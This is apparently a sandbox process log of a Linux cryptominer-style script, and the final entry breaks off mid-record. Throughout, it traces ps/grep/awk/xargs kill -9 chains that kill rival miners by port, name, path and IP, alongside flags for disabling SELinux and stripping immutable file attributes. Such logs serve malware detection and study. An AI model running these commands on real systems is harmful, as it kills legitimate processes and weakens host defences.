- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2004
- /bin/grep
  grep :2222
  2⤵
  PID:2003
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2013
- /bin/grep
  grep -v -
  2⤵
  PID:2012
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2011
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2010
- /bin/grep
  grep :3333
  2⤵
  PID:2009
- /bin/grep
  grep -v -
  2⤵
  PID:2018
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2019
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2017
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2016
- /bin/grep
  grep :3389
  2⤵
  PID:2015
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2025
- /bin/grep
  grep -v -
  2⤵
  PID:2024
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2023
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2022
- /bin/grep
  grep :5555
  2⤵
  PID:2021
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2031
- /bin/grep
  grep -v -
  2⤵
  PID:2030
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2029
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2028
- /bin/grep
  grep :6666
  2⤵
  PID:2027
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2037
- /bin/grep
  grep -v -
  2⤵
  PID:2036
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2035
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2034
- /bin/grep
  grep :6665
  2⤵
  PID:2033
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2043
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2041
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2040
- /bin/grep
  grep -v -
  2⤵
  PID:2042
- /bin/grep
  grep :6667
  2⤵
  PID:2039
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2049
- /bin/grep
  grep -v -
  2⤵
  PID:2048
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2047
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2046
- /bin/grep
  grep :7777
  2⤵
  PID:2045
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2055
- /bin/grep
  grep -v -
  2⤵
  PID:2054
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2053
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2052
- /bin/grep
  grep :8444
  2⤵
  PID:2051
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2061
- /bin/grep
  grep -v -
  2⤵
  PID:2060
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2059
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2058
- /bin/grep
  grep :3347
  2⤵
  PID:2057
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2067
- /bin/grep
  grep -v -
  2⤵
  PID:2066
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2065
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2064
- /bin/grep
  grep :10008
  2⤵
  PID:2063
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2072
- /bin/grep
  grep :13531
  2⤵
  PID:2070
- /bin/grep
  grep -v grep
  2⤵
  PID:2069
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2071
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2077
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2076
- /bin/grep
  grep :3333
  2⤵
  PID:2075
- /bin/grep
  grep -v grep
  2⤵
  PID:2074
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2073
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2082
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2081
- /bin/grep
  grep :5555
  2⤵
  PID:2080
- /bin/grep
  grep -v grep
  2⤵
  PID:2079
- /bin/ps
  ps aux
  2⤵
  PID:2078
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2087
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2086
- /bin/grep
  grep "kworker -c\\"
  2⤵
  PID:2085
- /bin/grep
  grep -v grep
  2⤵
  PID:2084
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2083
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2092
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2091
- /bin/grep
  grep log_
  2⤵
  PID:2090
- /bin/grep
  grep -v grep
  2⤵
  PID:2089
- /bin/ps
  ps aux
  2⤵
  PID:2088
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2097
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2096
- /bin/grep
  grep systemten
  2⤵
  PID:2095
- /bin/grep
  grep -v grep
  2⤵
  PID:2094
- /bin/ps
  ps aux
  2⤵
  PID:2093
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2102
- - /usr/local/sbin/kill
    kill -9 14
    3⤵
    PID:2103
- - /usr/local/bin/kill
    kill -9 14
    3⤵
    PID:2103
- - /usr/sbin/kill
    kill -9 14
    3⤵
    PID:2103
- - /usr/bin/kill
    kill -9 14
    3⤵
    PID:2103
- - /sbin/kill
    kill -9 14
    3⤵
    PID:2103
- - /bin/kill
    kill -9 14
    3⤵
    PID:2103
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2101
- /bin/grep
  grep netns
  2⤵
  PID:2100
- /bin/grep
  grep -v grep
  2⤵
  PID:2099
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2098
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2108
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2107
- /bin/grep
  grep voltuned
  2⤵
  PID:2106
- /bin/grep
  grep -v grep
  2⤵
  PID:2105
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2104
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2113
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2112
- /bin/grep
  grep darwin
  2⤵
  PID:2111
- /bin/grep
  grep -v grep
  2⤵
  PID:2110
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2109
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2118
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2117
- /bin/grep
  grep /tmp/dl
  2⤵
  PID:2116
- /bin/grep
  grep -v grep
  2⤵
  PID:2115
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2114
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2123
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2122
- /bin/grep
  grep /tmp/ddg
  2⤵
  PID:2121
- /bin/grep
  grep -v grep
  2⤵
  PID:2120
- /bin/ps
  ps aux
  2⤵
  PID:2119
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2128
- /bin/grep
  grep /tmp/pprt
  2⤵
  PID:2126
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2127
- /bin/grep
  grep -v grep
  2⤵
  PID:2125
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2124
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2133
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2132
- /bin/grep
  grep /tmp/ppol
  2⤵
  PID:2131
- /bin/grep
  grep -v grep
  2⤵
  PID:2130
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2129
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2137
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2138
- /bin/grep
  grep "/tmp/65ccE*"
  2⤵
  PID:2136
- /bin/grep
  grep -v grep
  2⤵
  PID:2135
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:2134
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2143
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2142
- /bin/grep
  grep "/tmp/jmx*"
  2⤵
  PID:2141
- /bin/grep
  grep -v grep
  2⤵
  PID:2140
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2139
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2148
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2147
- /bin/grep
  grep "/tmp/2Ne80*"
  2⤵
  PID:2146
- /bin/grep
  grep -v grep
  2⤵
  PID:2145
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2144
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2153
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2152
- /bin/grep
  grep IOFoqIgyC0zmf2UR
  2⤵
  PID:2151
- /bin/grep
  grep -v grep
  2⤵
  PID:2150
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2149
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2158
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2157
- /bin/grep
  grep 45.76.122.92
  2⤵
  PID:2156
- /bin/grep
  grep -v grep
  2⤵
  PID:2155
- /bin/ps
  ps aux
  2⤵
  PID:2154
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2163
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2162
- /bin/grep
  grep 51.38.191.178
  2⤵
  PID:2161
- /bin/grep
  grep -v grep
  2⤵
  PID:2160
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2159
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2168
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2167
- /bin/grep
  grep 51.15.56.161
  2⤵
  PID:2166
- /bin/grep
  grep -v grep
  2⤵
  PID:2165
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2164
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2173
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2172
- /bin/grep
  grep 86s.jpg
  2⤵
  PID:2171
- /bin/grep
  grep -v grep
  2⤵
  PID:2170
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2169
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2178
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2177
- /bin/grep
  grep aGTSGJJp
  2⤵
  PID:2176
- /bin/grep
  grep -v grep
  2⤵
  PID:2175
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:2174
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2183
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2182
- /bin/grep
  grep nMrfmnRa
  2⤵
  PID:2181
- /bin/grep
  grep -v grep
  2⤵
  PID:2180
- /bin/ps
  ps aux
  2⤵
  PID:2179
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2188
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2187
- /bin/grep
  grep PuNY5tm2
  2⤵
  PID:2186
- /bin/grep
  grep -v grep
  2⤵
  PID:2185
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2184
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2193
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2192
- /bin/grep
  grep I0r8Jyyt
  2⤵
  PID:2191
- /bin/grep
  grep -v grep
  2⤵
  PID:2190
- /bin/ps
  ps aux
  2⤵
  PID:2189
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2198
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2197
- /bin/grep
  grep AgdgACUD
  2⤵
  PID:2196
- /bin/grep
  grep -v grep
  2⤵
  PID:2195
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2194
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2203
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2202
- /bin/grep
  grep uiZvwxG8
  2⤵
  PID:2201
- /bin/grep
  grep -v grep
  2⤵
  PID:2200
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2199
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2208
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2207
- /bin/grep
  grep hahwNEdB
  2⤵
  PID:2206
- /bin/grep
  grep -v grep
  2⤵
  PID:2205
- /bin/ps
  ps aux
  2⤵
  PID:2204
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2213
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2212
- /bin/grep
  grep BtwXn5qH
  2⤵
  PID:2211
- /bin/grep
  grep -v grep
  2⤵
  PID:2210
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads runtime system information
  PID:2209
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2218
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2217
- /bin/grep
  grep 3XEzey2T
  2⤵
  PID:2216
- /bin/grep
  grep -v grep
  2⤵
  PID:2215
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2214
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2223
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2222
- /bin/grep
  grep t2tKrCSZ
  2⤵
  PID:2221
- /bin/grep
  grep -v grep
  2⤵
  PID:2220
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2219
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2228
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2227
- /bin/grep
  grep HD7fcBgg
  2⤵
  PID:2226
- /bin/grep
  grep -v grep
  2⤵
  PID:2225
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2224
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2233
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2232
- /bin/grep
  grep zXcDajSs
  2⤵
  PID:2231
- /bin/grep
  grep -v grep
  2⤵
  PID:2230
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:2229
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2238
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2237
- /bin/grep
  grep 3lmigMo
  2⤵
  PID:2236
- /bin/grep
  grep -v grep
  2⤵
  PID:2235
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2234
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2243
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2242
- /bin/grep
  grep AkMK4A2
  2⤵
  PID:2241
- /bin/grep
  grep -v grep
  2⤵
  PID:2240
- /bin/ps
  ps aux
  2⤵
  PID:2239
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2248
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2247
- /bin/grep
  grep AJ2AkKe
  2⤵
  PID:2246
- /bin/grep
  grep -v grep
  2⤵
  PID:2245
- /bin/ps
  ps aux
  2⤵
  PID:2244
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2253
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2252
- /bin/grep
  grep HiPxCJRS
  2⤵
  - System Network Configuration Discovery
  PID:2251
- /bin/grep
  grep -v grep
  2⤵
  PID:2250
- /bin/ps
  ps aux
  2⤵
  PID:2249
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2258
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2257
- /bin/grep
  grep http_0xCC030
  2⤵
  - Disables SELinux
  PID:2256
- /bin/grep
  grep -v grep
  2⤵
  PID:2255
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads runtime system information
  PID:2254
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2263
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2262
- /bin/grep
  grep http_0xCC031
  2⤵
  PID:2261
- /bin/grep
  grep -v grep
  2⤵
  PID:2260
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:2259
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2268
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2267
- /bin/grep
  grep http_0xCC032
  2⤵
  PID:2266
- /bin/grep
  grep -v grep
  2⤵
  PID:2265
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2264
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2273
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2272
- /bin/grep
  grep http_0xCC033
  2⤵
  PID:2271
- /bin/grep
  grep -v grep
  2⤵
  PID:2270
- /bin/ps
  ps aux
  2⤵
  PID:2269
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2278
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2277
- /bin/grep
  grep C4iLM4L
  2⤵
  PID:2276
- /bin/grep
  grep -v grep
  2⤵
  PID:2275
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:2274
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2283
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2282
- /bin/grep
  grep aziplcr72qjhzvin
  2⤵
  - System Network Configuration Discovery
  PID:2281
- /bin/grep
  grep -v grep
  2⤵
  PID:2280
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2279
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2287
- /usr/bin/awk
  awk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"
  2⤵
  PID:2286
- /bin/grep
  grep -v grep
  2⤵
  PID:2285
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2284
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2292
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2291
- /bin/grep
  grep /boot/vmlinuz
  2⤵
  PID:2290
- /bin/grep
  grep -v grep
  2⤵
  PID:2289
- /bin/ps
  ps aux
  2⤵
  PID:2288
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2297
- /bin/grep
  grep i4b503a52cc5
  2⤵
  PID:2295
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2296
- /bin/grep
  grep -v grep
  2⤵
  PID:2294
- /bin/ps
  ps aux
  2⤵
  PID:2293
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2302
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2301
- /bin/grep
  grep dgqtrcst23rtdi3ldqk322j2
  2⤵
  PID:2300
- /bin/grep
  grep -v grep
  2⤵
  PID:2299
- /bin/ps
  ps aux
  2⤵
  PID:2298
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2307
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2306
- /bin/grep
  grep 2g0uv7npuhrlatd
  2⤵
  PID:2305
- /bin/grep
  grep -v grep
  2⤵
  PID:2304
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2303
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2312
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2311
- /bin/grep
  grep nqscheduler
  2⤵
  PID:2310
- /bin/grep
  grep -v grep
  2⤵
  PID:2309
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2308
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2317
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2316
- /bin/grep
  grep rkebbwgqpl4npmm
  2⤵
  PID:2315
- /bin/grep
  grep -v grep
  2⤵
  PID:2314
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:2313
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2323
- /usr/bin/awk
  awk "\$3>10.0{print \$2}"
  2⤵
  PID:2322
- /bin/grep
  grep "]"
  2⤵
  PID:2321
- /bin/grep
  grep -v aux
  2⤵
  PID:2320
- /bin/grep
  grep -v grep
  2⤵
  PID:2319
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2318
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2328
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2327
- /bin/grep
  grep 2fhtu70teuhtoh78jc5s
  2⤵
  PID:2326
- /bin/grep
  grep -v grep
  2⤵
  PID:2325
- /bin/ps
  ps aux
  2⤵
  PID:2324
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2333
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2332
- /bin/grep
  grep 0kwti6ut420t
  2⤵
  PID:2331
- /bin/grep
  grep -v grep
  2⤵
  PID:2330
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2329
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2337
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2338
- /bin/grep
  grep 44ct7udt0patws3agkdfqnjm
  2⤵
  PID:2336
- /bin/grep
  grep -v grep
  2⤵
  PID:2335
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2334
- /usr/bin/awk
  awk "length(\$11)>19{print \$2}"
  2⤵
  PID:2344
- /bin/grep
  grep -v _
  2⤵
  PID:2343
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2345
- /bin/grep
  grep -v -
  2⤵
  PID:2342
- /bin/grep
  grep -v /
  2⤵
  PID:2341
- /bin/grep
  grep -v grep
  2⤵
  PID:2340
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2339
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2349
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2350
- /bin/grep
  grep "\\[^"
  2⤵
  PID:2348
- /bin/grep
  grep -v grep
  2⤵
  PID:2347
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2346
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2355
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2354
- /bin/grep
  grep rsync
  2⤵
  PID:2353
- /bin/grep
  grep -v grep
  2⤵
  PID:2352
- /bin/ps
  ps aux
  2⤵
  PID:2351
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2360
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2359
- /bin/grep
  grep watchd0g
  2⤵
  PID:2358
- /bin/grep
  grep -v grep
  2⤵
  PID:2357
- /bin/ps
  ps aux
  2⤵
  PID:2356
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2365
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2364
- /bin/egrep
  egrep "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:2363
- /bin/grep
  grep -v grep
  2⤵
  PID:2362
- /usr/local/sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:2363
- /usr/local/bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:2363
- /usr/sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:2363
- /usr/bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:2363
- /sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:2363
- /bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:2363
- /bin/ps
  ps aux
  2⤵
  PID:2361
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2369
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2370
- /bin/grep
  grep 158.69.133.18:8220
  2⤵
  - Disables SELinux
  PID:2368
- /bin/grep
  grep -v grep
  2⤵
  PID:2367
- /bin/ps
  ps aux
  2⤵
  PID:2366
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2375
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2374
- /bin/grep
  grep /tmp/java
  2⤵
  PID:2373
- /bin/grep
  grep -v grep
  2⤵
  PID:2372
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:2371
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2380
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2379
- /bin/grep
  grep gitee.com
  2⤵
  PID:2378
- /bin/grep
  grep -v grep
  2⤵
  PID:2377
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2376
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2384
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2385
- /bin/grep
  grep /tmp/java
  2⤵
  PID:2383
- /bin/grep
  grep -v grep
  2⤵
  PID:2382
- /bin/ps
  ps aux
  2⤵
  PID:2381
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2390
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2389
- /bin/grep
  grep 104.248.4.162
  2⤵
  PID:2388
- /bin/grep
  grep -v grep
  2⤵
  PID:2387
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2386
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2395
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2394
- /bin/grep
  grep 89.35.39.78
  2⤵
  PID:2393
- /bin/grep
  grep -v grep
  2⤵
  PID:2392
- /bin/ps
  ps aux
  2⤵
  PID:2391
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2400
- /bin/grep
  grep /dev/shm/z3.sh
  2⤵
  PID:2398
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2399
- /bin/grep
  grep -v grep
  2⤵
  PID:2397
- /bin/ps
  ps aux
  2⤵
  PID:2396
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2405
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2404
- /bin/grep
  grep kthrotlds
  2⤵
  PID:2403
- /bin/grep
  grep -v grep
  2⤵
  PID:2402
- /bin/ps
  ps aux
  2⤵
  PID:2401
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2409
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2410
- /bin/grep
  grep ksoftirqds
  2⤵
  PID:2408
- /bin/grep
  grep -v grep
  2⤵
  PID:2407
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads runtime system information
  PID:2406
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2415
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2414
- /bin/grep
  grep -v grep
  2⤵
  PID:2412
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:2411
- /bin/grep
  grep netdns
  2⤵
  PID:2413
- /usr/bin/xargs
